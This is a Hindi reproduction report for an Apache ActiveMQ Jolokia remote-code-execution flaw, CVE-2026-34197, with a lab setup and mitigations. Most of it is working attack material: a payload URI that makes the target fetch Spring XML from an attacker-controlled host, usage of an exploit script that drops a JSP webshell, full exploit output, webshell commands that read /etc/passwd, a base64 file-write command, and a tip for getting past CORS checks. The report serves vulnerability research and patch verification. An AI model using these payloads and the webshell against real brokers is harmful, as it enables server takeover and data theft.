
Apache ActiveMQ RCE के माध्यम से Jolokia भेद्यता विश्लेषण और पुनरुत्पादन नोट्स
| वस्तु | विवरण |
|---|
| CVE ID | CVE-2026-34197 |
| CVSS | 8.8 (उच्च) |
| भेद्यता प्रकार | रिमोट कोड निष्पादन (RCE) |
| CWE | CWE-20 अनुचित इनपुट सत्यापन / CWE-94 कोड इंजेक्शन |
| प्रभावित घटक | Apache ActiveMQ Classic - Jolokia JMX-HTTP ब्रिज |
| प्रभावित संस्करण | < 5.19.4 और 6.0.0 से 6.2.2 तक |
| निश्चित संस्करण | 5.19.4 / 6.2.3 |
| प्रकटीकरण तिथि | 2026-04-07 |
| प्रमाणीकरण | डिफ़ॉल्ट रूप से आवश्यक, सामान्यतः admin:admin। संस्करण 6.0.0-6.1.1 CVE-2024-32114 के साथ श्रृंखलित होने पर प्रमाणीकरण के बिना पहुंच योग्य हो सकते हैं। |
| खोज | लगभग 13 वर्षों तक मौजूद रहने के बाद, Anthropic Claude द्वारा AI-सहायता प्राप्त अनुसंधान के रूप में रिपोर्ट किया गया। |
Attacker
|
|-- 1. POST /api/jolokia/
| Invoke BrokerService.addNetworkConnector(String)
| Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
|
|-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
| The init-method="start" command runs before configuration validation blocks the URI.
|
`-- 5. Remote code execution is reached.
/api/jolokia/ को एक्सपोज़ करता है, जो JMX-over-HTTP एक्सेस प्रदान करता है।org.apache.activemq:* संचालन की अनुमति देती है, जिसमें addNetworkConnector शामिल है।vm:// ट्रांसपोर्ट का brokerConfig पैरामीटर रिमोट Spring XML की ओर इशारा कर सकता है, और कॉन्फ़िगरेशन को अस्वीकार किए जाने से पहले बीन इंस्टेंटिएशन होता है।ActiveMQ 6.2.3 ने addNetworkConnector() के अंदर सत्यापन जोड़ा ताकि vm:// ट्रांसपोर्ट URI को अस्वीकार किया जा सके:
"error": "VM scheme is not allowed"
| वस्तु | विवरण |
|---|---|
| हमलावर होस्ट | macOS जिसमें OrbStack Docker है |
| लक्ष्य इमेज | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| रनटाइम उपयोगकर्ता | amq (uid=33031) |
| आधार OS | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
status: 200 प्रतिक्रिया पुष्टि करती है कि Jolokia पहुंच योग्य है।
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
स्क्रिप्ट निम्नलिखित क्रियाएं करती है:
NC नामक मौजूदा NetworkConnector को हटाता है।addNetworkConnector अनुरोध भेजता है।curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
| संस्करण | इमेज | Jolokia प्रतिक्रिया | RCE |
|---|---|---|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | सफल रूप से uid=0(root) के रूप में |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | सफल रूप से uid=33031(amq) के रूप में |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | ठीक किया गया |
addNetworkConnector() NC नामक एक कनेक्टर पंजीकृत करता है। दूसरा पंजीकरण JMX नामकरण विरोध के साथ विफल होता है और 500 त्रुटि लौटाता है। स्क्रिप्ट एक्सप्लॉइट को ट्रिगर करने से पहले removeNetworkConnector("NC") को कॉल करके इसे संभालती है।
ActiveMQ एम्बेडेड Jetty का उपयोग करता है, लेकिन webapps निर्देशिका डिस्क पर मौजूद है और JSP इंजन नव लिखित .jsp फ़ाइलों को संकलित करता है। यह परीक्षण किए गए वातावरण में वेबशेल लेखन को संभव बनाता है।
पेलोड इनलाइन base64 का उपयोग करके JSP लिखता है:
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
लाभ:
<, >, %, और " के कारण होने वाली XML पार्सिंग समस्याओं से बचाता है।लक्ष्य को Spring XML पेलोड लाने के लिए हमलावर-नियंत्रित HTTP सर्वर तक पहुंचने में सक्षम होना चाहिए। यदि लक्ष्य के पास हमलावर के लिए कोई आउटबाउंड मार्ग नहीं है, तो यह शोषण पथ पूरा नहीं हो सकता।
सीधे Jolokia अनुरोध CORS जांच के कारण 403 लौटा सकते हैं। ऐसा Origin हेडर शामिल करें जो लक्ष्य से मेल खाता हो:
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # This report
|-- exploit_webshell.py # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/ # File copy from dinosn/CVE-2026-34197
|-- docker-compose.yml # Lab environment for ActiveMQ 6.2.1
|-- exploit_poc.py # Original PoC script with serve/exploit/auto modes
`-- serve_payload.py # Simple payload HTTP server
| स्क्रिप्ट | उद्देश्य | आउटबाउंड आवश्यकता | वेबशेल |
|---|---|---|---|
exploit_poc.py | मूल ब्लाइंड RCE PoC जो एक मनमाना कमांड चलाता है | आवश्यक | नहीं |
exploit_webshell.py | लिखित JSP वेबशेल के माध्यम से एक-शॉट रिफ्लेक्टेड RCE | केवल XML लाने के लिए आवश्यक | स्वचालित रूप से एक यादृच्छिक फ़ाइल नाम के साथ लिखा गया |
jetty.xml में Jolokia API को अक्षम करें।admin:admin क्रेडेंशियल बदलें।